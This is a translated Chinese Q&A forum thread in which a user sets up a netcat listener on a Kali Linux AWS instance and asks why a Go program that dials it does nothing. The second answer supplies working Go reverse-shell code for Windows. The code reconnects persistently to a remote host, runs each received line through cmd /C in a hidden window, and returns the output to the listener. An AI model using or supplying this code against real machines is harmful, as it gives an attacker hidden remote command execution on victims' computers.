我在 AWS 上设置了一个简单的 Kali Linux 机器,并添加了一个所有端口都开放的安全组,然后执行:
nc -vlp 4444
现在,我在自己的个人电脑上执行一个简单的 Go 程序:
package main
import (
"fmt"
"net"
)
const IP = "MY_PUBLIC_IP:4444"
func main() {
conn, _ := net.Dial("tcp", IP)
fmt.Println(conn)
}
实际上什么都没发生,连接一直等待直到超时。我是否缺少某些配置?
谢谢。
答案1
在下面一行中
const IP = "MY_PUBLIC_IP:4444"
MY_PUBLIC_IP
应替换为目标的真实 IP 地址。
答案2
你正在请求反向shell但是你的代码中没有涉及任何 shell。请看这里的反向 shell 示例(Windows):适用于 Windows 的 Go 反向 shell。
正如您在此处的代码中所看到的:
func reverse(host string) {
c, err := net.Dial("tcp", host)
if nil != err {
if nil != c {
c.Close()
}
time.Sleep(time.Minute)
reverse(host)
}
r := bufio.NewReader(c)
for {
order, err := r.ReadString('\n')
if nil != err {
c.Close()
reverse(host)
return
}
cmd := exec.Command("cmd", "/C", order)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
out, _ := cmd.CombinedOutput()
c.Write(out)
}
}
一次网络拨号建立连接后,它等待输入,并使用命令执行程序/C执行给定的命令,读取输出并将其发送回某个监听器(在您的情况下为 nc)。
总结: 你错过了壳参与您的代码